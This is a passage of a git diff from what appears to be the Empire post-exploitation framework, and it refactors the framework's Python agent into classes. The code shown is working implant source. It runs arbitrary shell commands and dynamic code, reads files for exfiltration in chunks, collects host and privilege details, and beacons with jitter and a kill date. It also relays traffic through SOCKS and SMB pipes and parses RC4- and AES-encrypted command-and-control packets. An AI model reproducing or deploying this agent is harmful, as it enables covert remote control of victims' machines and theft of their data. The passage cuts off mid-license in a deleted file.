fstat.st_size > 1024 * 1024: + fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024))) + unit = "MB" + elif fstat.st_size > 1024: + fsize = math.ceil(old_div(fstat.st_size, 1024)) + unit = "KB" + else: + fsize = fstat.st_size + unit = "B" + mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime)) -def indent(lines, amount=4, ch=" "): - padding = amount * ch - return padding + ("\n" + padding).join(lines.split("\n")) + res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format( + permstr, user, group, mtime, fsize, unit, fn + ) + return res + + # additional implementation methods + def run_command(self, command, cmdargs=None): + if re.compile("(ls|dir)").match(command): + if cmdargs == None or not os.path.exists(cmdargs): + cmdargs = "." + + return self.directory_listing(cmdargs) + if re.compile("cd").match(command): + os.chdir(cmdargs) + return str(os.getcwd()) + elif re.compile("pwd").match(command): + return str(os.getcwd()) + elif re.compile("rm").match(command): + if cmdargs == None: + return "please provide a file or directory" + + if os.path.exists(cmdargs): + if os.path.isfile(cmdargs): + os.remove(cmdargs) + return "done." + elif os.path.isdir(cmdargs): + shutil.rmtree(cmdargs) + return "done." + else: + return "unsupported file type" + else: + return "specified file/directory does not exist" + elif re.compile("mkdir").match(command): + if cmdargs == None: + return "please provide a directory" -# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python -class ThreadWithReturnValue(Thread): - def __init__( - self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None - ): - Thread.__init__(self, group, target, name, args, kwargs, Verbose) - self._return = None + os.mkdir(cmdargs) + return "Created directory: {}".format(cmdargs) - def run(self): - if self._Thread__target is not None: - self._return = self._Thread__target( - *self._Thread__args, **self._Thread__kwargs + elif re.compile("(whoami|getuid)").match(command): + return Environment.UserName + + elif re.compile("hostname").match(command): + return str(socket.gethostname()) + + elif re.compile("ps").match(command): + myrunspace = Runspaces.RunspaceFactory.CreateRunspace() + myrunspace.Open() + pipeline = myrunspace.CreatePipeline() + pipeline.Commands.AddScript( + """ + $owners = @{} + Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o} + $p = "*"; + $output = Get-Process $p | ForEach-Object { + $arch = 'x64'; + if ([System.IntPtr]::Size -eq 4) { + $arch = 'x86'; + } + else{ + foreach($module in $_.modules) { + if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") { + $arch = 'x86'; + break; + } + } + } + $out = New-Object psobject + $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $out | Add-Member Noteproperty 'PID' $_.ID + $out | Add-Member Noteproperty 'Arch' $arch + $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()] + $mem = "{0:N2} MB" -f $($_.WS/1MB) + $out | Add-Member Noteproperty 'MemUsage' $mem + $out + } | Sort-Object -Property PID | ConvertTo-Json; + $output + """ ) + results = pipeline.Invoke() + buffer = StringIO() + sys.stdout = buffer + for result in results: + print(result) + sys.stdout = sys.__stdout__ + return_data = buffer.getvalue() + return return_data + else: + if cmdargs is None: + cmdargs = "" + cmd = "{} {}".format(command, cmdargs) + return os.popen(cmd).read() + + def get_file_part(self, filePath, offset=0, chunkSize=512000, base64=True): + if not os.path.exists(filePath): + return "" + + f = open(filePath, "rb") + f.seek(offset, 0) + data = f.read(chunkSize) + f.close() + if base64: + return base64.b64encode(data) + else: + return data - def join(self): - Thread.join(self) - return self._return + def get_sysinfo(self, server, nonce='00000000'): + # NOTE: requires global variable "server" to be set + # nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version | architecture + __FAILED_FUNCTION = '[FAILED QUERY]' -class KThread(threading.Thread): - """A subclass of threading.Thread, with a kill() - method.""" + try: + username = Environment.UserName + except Exception as e: + username = __FAILED_FUNCTION - def __init__(self, *args, **keywords): - threading.Thread.__init__(self, *args, **keywords) - self.killed = False + try: + uid = WindowsIdentity.GetCurrent().User.ToByteArray() + except Exception as e: + uid = __FAILED_FUNCTION - def start(self): - """Start the thread.""" - self.__run_backup = self.run - self.run = self.__run # Force the Thread to install our trace. - threading.Thread.start(self) + try: + highIntegrity = WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) + except Exception as e: + highIntegrity = __FAILED_FUNCTION - def __run(self): - """Hacked run function, which installs the - trace.""" - sys.settrace(self.globaltrace) - self.__run_backup() - self.run = self.__run_backup + try: + osDetails = os.uname() + except Exception as e: + osDetails = __FAILED_FUNCTION - def globaltrace(self, frame, why, arg): - if why == "call": - return self.localtrace - else: + try: + hostname = Environment.MachineName + except Exception as e: + hostname = __FAILED_FUNCTION + + try: + internalIP = socket.gethostbyname(socket.gethostname()) + except Exception as e: + internalIP = __FAILED_FUNCTION + + try: + osDetails = Environment.OSVersion.ToByteArray() + except Exception as e: + osDetails = __FAILED_FUNCTION + + try: + processID = Process.GetCurrentProcess().Id + except Exception as e: + processID = __FAILED_FUNCTION + + try: + temp = sys.version_info + pyVersion = "%s.%s" % (temp[0], temp[1]) + except Exception as e: + pyVersion = __FAILED_FUNCTION + + try: + architecture = platform.machine() + except Exception as e: + architecture = __FAILED_FUNCTION + + language = 'ironpython' + processName = Process.GetCurrentProcess() + return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % ( + nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, + pyVersion, architecture) + + def process_packet(self, packetType, data, resultID): + try: + packetType = int(packetType) + except Exception as e: return None - def localtrace(self, frame, why, arg): - if self.killed: - if why == "line": - raise SystemExit() - return self.localtrace + if packetType == 1: + # sysinfo request + # get_sysinfo should be exposed from stager.py + self.packet_handler.send_message(self.packet_handler.build_response_packet(1, self.get_sysinfo(server=self.server), resultID)) - def kill(self): - self.killed = True + elif packetType == 2: + # agent exit + self.packet_handler.send_message(self.packet_handler.build_response_packet(2, "", resultID)) + self.agent_exit() + elif packetType == 34: + # TASK_SET_PROXY + pass -def start_job(code, resultID): - global jobs + elif packetType == 40: + self.run_prebuilt_command(data, resultID) - # create a new code block with a defined method name - codeBlock = "def method():\n" + indent(code[1:]) + elif packetType == 41: + self.file_download(data, resultID) - # register the code block - code_obj = compile(codeBlock, "", "exec") - # code needs to be in the global listing - # not the locals() scope - exec(code_obj, globals()) + elif packetType == 42: + self.file_upload(data, resultID) - # create/process Packet start/return the thread - # call the job_func so sys data can be captured - codeThread = KThread(target=job_func, args=(resultID,)) - codeThread.start() + elif packetType == 43: + self.directory_list(data, resultID) - jobs[resultID] = codeThread + elif packetType == 44: + self.csharp_execute(data, resultID) + elif packetType == 50: + self.job_list(resultID) -def job_func(resultID): - try: - buffer = StringIO() - sys.stdout = buffer - # now call the function required - # and capture the output via sys - method() - sys.stdout = sys.__stdout__ - dataStats_2 = buffer.getvalue() - result = build_response_packet(110, str(dataStats_2), resultID) - process_job_tasking(result) - except Exception as e: - p = "error executing specified Python job data: " + str(e) - result = build_response_packet(0, p, resultID) - process_job_tasking(result) - - -def job_message_buffer(message): - # Supports job messages for checkin - global jobMessageBuffer - try: - - jobMessageBuffer += str(message) - except Exception as e: - print(e) - - -def get_job_message_buffer(): - global jobMessageBuffer - try: - result = build_response_packet(110, str(jobMessageBuffer)) - jobMessageBuffer = "" - return result - except Exception as e: - return build_response_packet(0, "[!] Error getting job output: %s" % (e)) - - -def send_job_message_buffer(): - if len(jobs) > 0: - result = get_job_message_buffer() - process_job_tasking(result) - else: - pass + elif packetType == 51: + self.stop_job(data, resultID) + elif packetType == 60: + self.start_socks_server(resultID) -def start_webserver(data, ip, port, serveCount): - # thread data_webserver for execution - t = threading.Thread(target=data_webserver, args=(data, ip, port, serveCount)) - t.start() - return - - -def data_webserver(data, ip, port, serveCount): - # hosts a file on port and IP servers data string - hostName = str(ip) - portNumber = int(port) - data = str(data) - serveCount = int(serveCount) - count = 0 - - class serverHandler(http.server.BaseHTTPRequestHandler): - def do_GET(s): - """Respond to a GET request.""" - s.send_response(200) - s.send_header("Content-type", "text/html") - s.end_headers() - s.wfile.write(data) - - def log_message(s, format, *args): - return - - server_class = http.server.HTTPServer - httpServer = server_class((hostName, portNumber), serverHandler) - try: - while count < serveCount: - httpServer.handle_request() - count += 1 - except: - pass - httpServer.server_close() - return - - -def permissions_to_unix_name(st_mode): - permstr = "" - usertypes = ["USR", "GRP", "OTH"] - for usertype in usertypes: - perm_types = ["R", "W", "X"] - for permtype in perm_types: - perm = getattr(stat, "S_I%s%s" % (permtype, usertype)) - if st_mode & perm: - permstr += permtype.lower() - else: - permstr += "-" - return permstr + elif packetType == 61: + self.socksqueue.put(base64.b64decode(data.encode("UTF-8"))) + elif packetType == 70: + self.start_smb_pipe_server(data, resultID) -def directory_listing(path): - # directory listings in python - # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html + elif packetType == 100: + self.dynamic_code_execute_wait_nosave(data, resultID) - res = "" - for fn in os.listdir(path): - fstat = os.stat(os.path.join(path, fn)) - permstr = permissions_to_unix_name(fstat[0]) + elif packetType == 101: + self.dynamic_code_execution_wait_save(data, resultID) - if os.path.isdir(fn): - permstr = "d{}".format(permstr) - else: - permstr = "-{}".format(permstr) - - user = Environment.UserName - # Needed? - group = "Users" - - # Convert file size to MB, KB or Bytes - if fstat.st_size > 1024 * 1024: - fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024))) - unit = "MB" - elif fstat.st_size > 1024: - fsize = math.ceil(old_div(fstat.st_size, 1024)) - unit = "KB" - else: - fsize = fstat.st_size - unit = "B" + elif packetType == 102: + self.disk_code_execution_wait_save(data, resultID) - mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime)) + elif packetType == 110: + self.start_job(data, resultID) - res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format( - permstr, user, group, mtime, fsize, unit, fn - ) + elif packetType == 111: + # TASK_CMD_JOB_SAVE + pass - return res - - -# additional implementation methods -def run_command(command, cmdargs=None): - if re.compile("(ls|dir)").match(command): - if cmdargs == None or not os.path.exists(cmdargs): - cmdargs = "." - - return directory_listing(cmdargs) - if re.compile("cd").match(command): - os.chdir(cmdargs) - return str(os.getcwd()) - elif re.compile("pwd").match(command): - return str(os.getcwd()) - elif re.compile("rm").match(command): - if cmdargs == None: - return "please provide a file or directory" - - if os.path.exists(cmdargs): - if os.path.isfile(cmdargs): - os.remove(cmdargs) - return "done." - elif os.path.isdir(cmdargs): - shutil.rmtree(cmdargs) - return "done." - else: - return "unsupported file type" - else: - return "specified file/directory does not exist" - elif re.compile("mkdir").match(command): - if cmdargs == None: - return "please provide a directory" + elif packetType == 112: + self.powershell_task(data, resultID) - os.mkdir(cmdargs) - return "Created directory: {}".format(cmdargs) + elif packetType == 118: + self.powershell_task_dyanmic_code_wait_nosave(data, resultID) - elif re.compile("(whoami|getuid)").match(command): - return Environment.UserName + elif packetType == 119: + pass - elif re.compile("hostname").match(command): - return str(socket.gethostname()) + elif packetType == 121: + self.script_command(data, resultID) - elif re.compile("ps").match(command): - myrunspace = Runspaces.RunspaceFactory.CreateRunspace() - myrunspace.Open() - pipeline = myrunspace.CreatePipeline() - pipeline.Commands.AddScript( - """ - $owners = @{} - Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o} - $p = "*"; - $output = Get-Process $p | ForEach-Object { - $arch = 'x64'; - if ([System.IntPtr]::Size -eq 4) { - $arch = 'x86'; - } - else{ - foreach($module in $_.modules) { - if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") { - $arch = 'x86'; - break; - } - } - } - $out = New-Object psobject - $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $out | Add-Member Noteproperty 'PID' $_.ID - $out | Add-Member Noteproperty 'Arch' $arch - $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()] - $mem = "{0:N2} MB" -f $($_.WS/1MB) - $out | Add-Member Noteproperty 'MemUsage' $mem - $out - } | Sort-Object -Property PID | ConvertTo-Json; - $output - """ - ) - results = pipeline.Invoke() - buffer = StringIO() - sys.stdout = buffer - for result in results: - print(result) - sys.stdout = sys.__stdout__ - return_data = buffer.getvalue() - return return_data - else: - if cmdargs is None: - cmdargs = "" - cmd = "{} {}".format(command, cmdargs) - return os.popen(cmd).read() - - -def get_file_part(filePath, offset=0, chunkSize=512000, base64=True): - if not os.path.exists(filePath): - return "" - - f = open(filePath, "rb") - f.seek(offset, 0) - data = f.read(chunkSize) - f.close() - if base64: - return base64.b64encode(data) - else: - return data + elif packetType == 122: + self.script_load(data, resultID) + elif packetType == 123: + self.view_loaded_modules(data, resultID) -################################################ -# -# main agent functionality -# -################################################ + elif packetType == 124: + self.remove_module(data, resultID) -while True: - try: - if workingHours != "" and "WORKINGHOURS" not in workingHours: - try: - start, end = workingHours.split("-") - now = datetime.datetime.now() - startTime = datetime.datetime.strptime(start, "%H:%M") - endTime = datetime.datetime.strptime(end, "%H:%M") + elif packetType == 130: + # Dynamically update agent comms + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 60, "[!] Switch agent comms not implemented", resultID + ) + ) - if not (startTime <= now <= endTime): - sleepTime = startTime - now - # sleep until the start of the next window - time.sleep(sleepTime.seconds) + elif packetType == 131: + # Update the listener name variable + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 60, "[!] Switch agent comms not implemented", resultID + ) + ) - except Exception as e: - pass + else: + self.packet_handler.send_message( + self.packet_handler.build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID) + ) - # check if we're past the killdate for this agent - # killDate form -> MO/DAY/YEAR - if killDate != "" and "KILLDATE" not in killDate: - now = datetime.datetime.now().date() + def run(self): + while True: try: - killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date() - except: - pass + if self.working_hours and "WORKINGHOURS" not in self.working_hours: + try: + start, end = self.working_hours.split("-") + now = datetime.datetime.now() + startTime = datetime.datetime.strptime(start, "%H:%M") + endTime = datetime.datetime.strptime(end, "%H:%M") + + if not (startTime <= now <= endTime): + sleepTime = startTime - now + time.sleep(sleepTime.seconds) + + except Exception as e: + pass - if now >= killDateTime: - msg = "[!] Agent %s exiting" % (sessionID) - send_message(build_response_packet(2, msg)) - agent_exit() + if self.kill_date and "KILLDATE" not in self.kill_date: + now = datetime.datetime.now().date() + try: + kill_date_time = datetime.datetime.strptime(self.kill_date, "%m/%d/%Y").date() + except: + pass - # exit if we miss commnicating with the server enough times - if missedCheckins >= lostLimit: - agent_exit() + if now >= kill_date_time: + msg = "[!] Agent %s exiting" % (self.sessionID) + self.packet_handler.send_message(self.packet_handler.build_response_packet(2, msg)) + self.agent_exit() - # sleep for the randomized interval - if jitter < 0: - jitter = -jitter - if jitter > 1: - jitter = old_div(1, jitter) - minSleep = int((1.0 - jitter) * delay) - maxSleep = int((1.0 + jitter) * delay) + if self.packet_handler.missedCheckins >= self.lostLimit: + self.agent_exit() - sleepTime = random.randint(minSleep, maxSleep) - time.sleep(sleepTime) + if self.jitter < 0: + self.jitter = -self.jitter + if self.jitter > 1: + self.jitter = 1 / self.jitter - (code, data) = send_message() + minSleep = int((1.0 - self.jitter) * self.delay) + maxSleep = int((1.0 + self.jitter) * self.delay) - if code == "200": - try: - send_job_message_buffer() - except Exception as e: - result = build_response_packet( - 0, str("[!] Failed to check job buffer!: " + str(e)) - ) - process_job_tasking(result) - if data.strip() == defaultResponse.strip() or data == base64.b64encode(defaultResponse): - missedCheckins = 0 - else: - decode_routing_packet(data) - else: - pass - # print "invalid code:",code + sleepTime = random.randint(minSleep, maxSleep) + time.sleep(sleepTime) - except Exception as e: - print("main() exception: %s" % (e)) + code, data = self.packet_handler.send_message() + + if code == "200": + try: + self.send_job_message_buffer() + except Exception as e: + result = self.packet_handler.build_response_packet( + 0, str("[!] Failed to check job buffer!: " + str(e)) + ) + self.packet_handler.process_job_tasking(result) + + if data.strip() == self.defaultResponse.strip() or data == base64.b64encode(self.defaultResponse): + self.packet_handler.missedCheckins = 0 + else: + self.packet_handler.decode_routing_packet(data) + else: + pass + + except Exception as e: + print("main() exception: %s" % (e)) + traceback.print_exc() diff --git a/empire/server/data/agent/stagers/common/get_sysinfo.py b/empire/server/data/agent/stagers/common/get_sysinfo.py index 6fb6448f3..6c168736a 100644 --- a/empire/server/data/agent/stagers/common/get_sysinfo.py +++ b/empire/server/data/agent/stagers/common/get_sysinfo.py @@ -7,11 +7,8 @@ if platform.python_implementation() == 'IronPython': from System import Environment from System.Diagnostics import Process - from System.Security.Principal import ( - WindowsBuiltInRole, - WindowsIdentity, - WindowsPrincipal, - ) + from System.Security.Principal import (WindowsBuiltInRole, WindowsIdentity, + WindowsPrincipal) else: import pwd diff --git a/empire/server/data/agent/stagers/common/rc4.py b/empire/server/data/agent/stagers/common/rc4.py index f2717aee6..72a94d630 100644 --- a/empire/server/data/agent/stagers/common/rc4.py +++ b/empire/server/data/agent/stagers/common/rc4.py @@ -1,155 +1,328 @@ +import base64 import os import struct -LANGUAGE = { - 'NONE' : 0, - 'POWERSHELL' : 1, - 'PYTHON' : 2 -} - -LANGUAGE_IDS = {} -for name, ID in list(LANGUAGE.items()): LANGUAGE_IDS[ID] = name - -META = { - 'NONE' : 0, - 'STAGING_REQUEST' : 1, - 'STAGING_RESPONSE' : 2, - 'TASKING_REQUEST' : 3, - 'RESULT_POST' : 4, - 'SERVER_RESPONSE' : 5 -} -META_IDS = {} -for name, ID in list(META.items()): META_IDS[ID] = name - -ADDITIONAL = {} -ADDITIONAL_IDS = {} -for name, ID in list(ADDITIONAL.items()): ADDITIONAL_IDS[ID] = name - -def rc4(key, data): - """ - RC4 encrypt/decrypt the given data input with the specified key. - - From: http://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python - """ - S, j, out = list(range(256)), 0, [] - # This might break python 2.7 - key = bytearray(key) - # KSA Phase - for i in range(256): - j = (j + S[i] + key[i % len(key)]) % 256 - S[i], S[j] = S[j], S[i] - # this might also break python 2.7 - #data = bytearray(data) - # PRGA Phase - i = j = 0 - - for char in data: - i = (i + 1) % 256 - j = (j + S[i]) % 256 - S[i], S[j] = S[j], S[i] - if sys.version[0] == "2": - char = ord(char) - out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode('latin-1')) - #out = str(out) - tmp = b''.join(out) - return tmp - -def parse_routing_packet(stagingKey, data): - """ - Decodes the rc4 "routing packet" and parses raw agent data into: - - {sessionID : (language, meta, additional, [encData]), ...} - - Routing packet format: - - +---------+-------------------+--------------------------+ - | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... - +---------+-------------------+--------------------------+ - | 4 | 16 | RC4 length | - +---------+-------------------+--------------------------+ - - RC4s(RoutingData): - +-----------+------+------+-------+--------+ - | SessionID | Lang | Meta | Extra | Length | - +-----------+------+------+-------+--------+ - | 8 | 1 | 1 | 2 | 4 | - +-----------+------+------+-------+--------+ - - """ - - if data: - results = {} - offset = 0 - - # ensure we have at least the 20 bytes for a routing packet - if len(data) >= 20: - - while True: - - if len(data) - offset < 20: - break - - RC4IV = data[0+offset:4+offset] - RC4data = data[4+offset:20+offset] - routingPacket = rc4(RC4IV+stagingKey, RC4data) - - sessionID = routingPacket[0:8] - - # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long - (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) - - if length < 0: - encData = None - else: - encData = data[(20+offset):(20+offset+length)] - - results[sessionID] = (LANGUAGE_IDS.get(language, 'NONE'), META_IDS.get(meta, 'NONE'), ADDITIONAL_IDS.get(additional, 'NONE'), encData) - - # check if we're at the end of the packet processing - remainingData = data[20+offset+length:] - if not remainingData or remainingData == '': - break - - offset += 20 + length - return results + +class PacketHandler: + def __init__(self, agent, staging_key, session_id, key=None): + self.agent = agent + self.key = key + self.staging_key = staging_key + self.session_id = session_id + self.missedCheckins = 0 + + self.language_list = { + 'NONE': 0, + 'POWERSHELL': 1, + 'PYTHON': 2 + } + self.language_ids = {ID: name for name, ID in self.language_list.items()} + + self.meta = { + 'NONE': 0, + 'STAGING_REQUEST': 1, + 'STAGING_RESPONSE': 2, + 'TASKING_REQUEST': 3, + 'RESULT_POST': 4, + 'SERVER_RESPONSE': 5 + } + self.meta_ids = {ID: name for name, ID in self.meta.items()} + + self.additional = {} + self.additional_ids = {ID: name for name, ID in self.additional.items()} + + def rc4(self, key, data): + """ + RC4 encrypt/decrypt the given data input with the specified key. + + From: http://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python + """ + S, j, out = list(range(256)), 0, [] + # This might break python 2.7 + key = bytearray(key) + # KSA Phase + for i in range(256): + j = (j + S[i] + key[i % len(key)]) % 256 + S[i], S[j] = S[j], S[i] + # this might also break python 2.7 + # data = bytearray(data) + # PRGA Phase + i = j = 0 + + for char in data: + i = (i + 1) % 256 + j = (j + S[i]) % 256 + S[i], S[j] = S[j], S[i] + if sys.version[0] == "2": + char = ord(char) + out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode('latin-1')) + # out = str(out) + tmp = b''.join(out) + return tmp + + def parse_routing_packet(self, staging_key, data): + """ + Decodes the rc4 "routing packet" and parses raw agent data into: + + {sessionID : (language, meta, additional, [encData]), ...} + + Routing packet format: + + +---------+-------------------+--------------------------+ + | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... + +---------+-------------------+--------------------------+ + | 4 | 16 | RC4 length | + +---------+-------------------+--------------------------+ + + RC4s(RoutingData): + +-----------+------+------+-------+--------+ + | SessionID | Lang | Meta | Extra | Length | + +-----------+------+------+-------+--------+ + | 8 | 1 | 1 | 2 | 4 | + +-----------+------+------+-------+--------+ + + """ + + if data: + results = {} + offset = 0 + + # ensure we have at least the 20 bytes for a routing packet + if len(data) >= 20: + + while True: + + if len(data) - offset < 20: + break + + RC4IV = data[0 + offset:4 + offset] + RC4data = data[4 + offset:20 + offset] + routingPacket = self.rc4(RC4IV + staging_key, RC4data) + + session_id = routingPacket[0:8] + + # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long + (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) + + if length < 0: + encData = None + else: + encData = data[(20 + offset):(20 + offset + length)] + + results[session_id] = (self.language_ids.get(language, 'NONE'), self.meta_ids.get(meta, 'NONE'), + self.additional_ids.get(additional, 'NONE'), encData) + + # check if we're at the end of the packet processing + remainingData = data[20 + offset + length:] + if not remainingData or remainingData == '': + break + + offset += 20 + length + return results + + else: + # print("[*] parse_agent_data() data length incorrect: %s" % (len(data))) + return None else: - # print("[*] parse_agent_data() data length incorrect: %s" % (len(data))) + # print("[*] parse_agent_data() data is None") return None - else: - # print("[*] parse_agent_data() data is None") - return None - - -def build_routing_packet(stagingKey, sessionID, meta=0, additional=0, encData=b''): - """ - Takes the specified parameters for an RC4 "routing packet" and builds/returns - an HMAC'ed RC4 "routing packet". - - packet format: - - Routing Packet: - +---------+-------------------+--------------------------+ - | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... - +---------+-------------------+--------------------------+ - | 4 | 16 | RC4 length | - +---------+-------------------+--------------------------+ - - RC4s(RoutingData): - +-----------+------+------+-------+--------+ - | SessionID | Lang | Meta | Extra | Length | - +-----------+------+------+-------+--------+ - | 8 | 1 | 1 | 2 | 4 | - +-----------+------+------+-------+--------+ - - """ - - # binary pack all of the passed config values as unsigned numbers - # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long - data = sessionID + struct.pack("=BBHL", 2, meta, additional, len(encData)) - RC4IV = os.urandom(4) - key = RC4IV + stagingKey - rc4EncData = rc4(key, data) - packet = RC4IV + rc4EncData + encData - return packet \ No newline at end of file + def build_routing_packet(self, staging_key, session_id, meta=0, additional=0, enc_data=b''): + """ + Takes the specified parameters for an RC4 "routing packet" and builds/returns + an HMAC'ed RC4 "routing packet". + + packet format: + + Routing Packet: + +---------+-------------------+--------------------------+ + | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... + +---------+-------------------+--------------------------+ + | 4 | 16 | RC4 length | + +---------+-------------------+--------------------------+ + + RC4s(RoutingData): + +-----------+------+------+-------+--------+ + | SessionID | Lang | Meta | Extra | Length | + +-----------+------+------+-------+--------+ + | 8 | 1 | 1 | 2 | 4 | + +-----------+------+------+-------+--------+ + + """ + + # binary pack all the passed config values as unsigned numbers + # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long + data = session_id + struct.pack("=BBHL", 2, meta, additional, len(enc_data)) + RC4IV = os.urandom(4) + key = RC4IV + staging_key + rc4EncData = self.rc4(key, data) + packet = RC4IV + rc4EncData + enc_data + return packet + + def decode_routing_packet(self, data): + """ + Parse ALL routing packets and only process the ones applicable + to this agent. + """ + # returns {sessionID : (language, meta, additional, [encData]), ...} + packets = self.parse_routing_packet(self.staging_key, data) + if packets is None: + return + for agentID, packet in packets.items(): + if agentID == self.session_id: + (language, meta, additional, encData) = packet + # if meta == 'SERVER_RESPONSE': + self.process_tasking(encData) + else: + smb_server_queue.Enqueue(base64.b64encode(data).decode('UTF-8')) + + def build_response_packet(self, tasking_id, packet_data, result_id=0): + """ + Build a task packet for an agent. + + [2 bytes] - type + [2 bytes] - total # of packets + [2 bytes] - packet # + [2 bytes] - task/result ID + [4 bytes] - length + [X...] - result data + + +------+--------------------+----------+---------+--------+-----------+ + | Type | total # of packets | packet # | task ID | Length | task data | + +------+--------------------+--------------------+--------+-----------+ + | 2 | 2 | 2 | 2 | 4 | | + +------+--------------------+----------+---------+--------+-----------+ + """ + packetType = struct.pack("=H", tasking_id) + totalPacket = struct.pack("=H", 1) + packetNum = struct.pack("=H", 1) + result_id = struct.pack("=H", result_id) + + if packet_data: + if isinstance(packet_data, str): + packet_data = base64.b64encode(packet_data.encode("utf-8", "ignore")) + else: + packet_data = base64.b64encode( + packet_data.decode("utf-8").encode("utf-8", "ignore") + ) + if len(packet_data) % 4: + packet_data += "=" * (4 - len(packet_data) % 4) + + length = struct.pack("=L", len(packet_data)) + return packetType + totalPacket + packetNum + result_id + length + packet_data + else: + length = struct.pack("=L", 0) + return packetType + totalPacket + packetNum + result_id + length + + def parse_task_packet(self, packet, offset=0): + """ + Parse a result packet- + + [2 bytes] - type + [2 bytes] - total # of packets + [2 bytes] - packet # + [2 bytes] - task/result ID + [4 bytes] - length + [X...] - result data + + +------+--------------------+----------+---------+--------+-----------+ + | Type | total # of packets | packet # | task ID | Length | task data | + +------+--------------------+--------------------+--------+-----------+ + | 2 | 2 | 2 | 2 | 4 | | + +------+--------------------+----------+---------+--------+-----------+ + + Returns a tuple with (responseName, length, data, remainingData) + + Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData) + """ + try: + packetType = struct.unpack("=H", packet[0 + offset : 2 + offset])[0] + totalPacket = struct.unpack("=H", packet[2 + offset : 4 + offset])[0] + packetNum = struct.unpack("=H", packet[4 + offset : 6 + offset])[0] + resultID = struct.unpack("=H", packet[6 + offset : 8 + offset])[0] + length = struct.unpack("=L", packet[8 + offset : 12 + offset])[0] + try: + packetData = packet.decode("UTF-8")[12 + offset : 12 + offset + length] + except: + packetData = packet[12 + offset : 12 + offset + length].decode("latin-1") + + try: + remainingData = packet.decode("UTF-8")[12 + offset + length :] + except: + remainingData = packet[12 + offset + length :].decode("latin-1") + + return ( + packetType, + totalPacket, + packetNum, + resultID, + length, + packetData, + remainingData, + ) + except Exception as e: + print("parse_task_packet exception:", e) + return (None, None, None, None, None, None, None) + + def process_tasking(self, data): + # processes an encrypted data packet + # -decrypts/verifies the response to get + # -extracts the packets and processes each + try: + # aes_decrypt_and_verify is in stager.py + tasking = aes_decrypt_and_verify(self.key, data).encode("UTF-8") + ( + packetType, + totalPacket, + packetNum, + resultID, + length, + data, + remainingData, + ) = self.parse_task_packet(tasking) + + # execute/process the packets and get any response + resultPackets = "" + result = self.agent.process_packet(packetType, data, resultID) + + if result: + resultPackets += result + + packetOffset = 12 + length + while remainingData and remainingData != "": + ( + packetType, + totalPacket, + packetNum, + resultID, + length, + data, + remainingData, + ) = self.parse_task_packet(tasking, offset=packetOffset) + result = self.agent.process_packet(packetType, data, resultID) + if result: + resultPackets += result + + packetOffset += 12 + length + + # send_message() is patched in from the listener module + self.send_message(resultPackets) + + except Exception as e: + print(e) + pass + + def process_job_tasking(self, result): + # process job data packets + # - returns to the C2 + # execute/process the packets and get any response + try: + resultPackets = b"" + if result: + resultPackets += result + # send packets + self.send_message(resultPackets) + except Exception as e: + print("processJobTasking exception:", e) + pass \ No newline at end of file diff --git a/empire/server/data/agent/stagers/common/sockschain.py b/empire/server/data/agent/stagers/common/sockschain.py deleted file mode 100644 index ea31e3ea8..000000000 --- a/empire/server/data/agent/stagers/common/sockschain.py +++ /dev/null @@ -1,1424 +0,0 @@ -#!/usr/bin/python -"""SocksiPy - Python SOCKS module. -Version 2.1 - -Copyright 2011-2019 Bjarni R. Einarsson. All rights reserved. -Copyright 2006 Dan-Haim. All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of Dan Haim nor the names of his contributors may be used - to endorse or promote products derived from this software without specific - prior written permission. - -THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 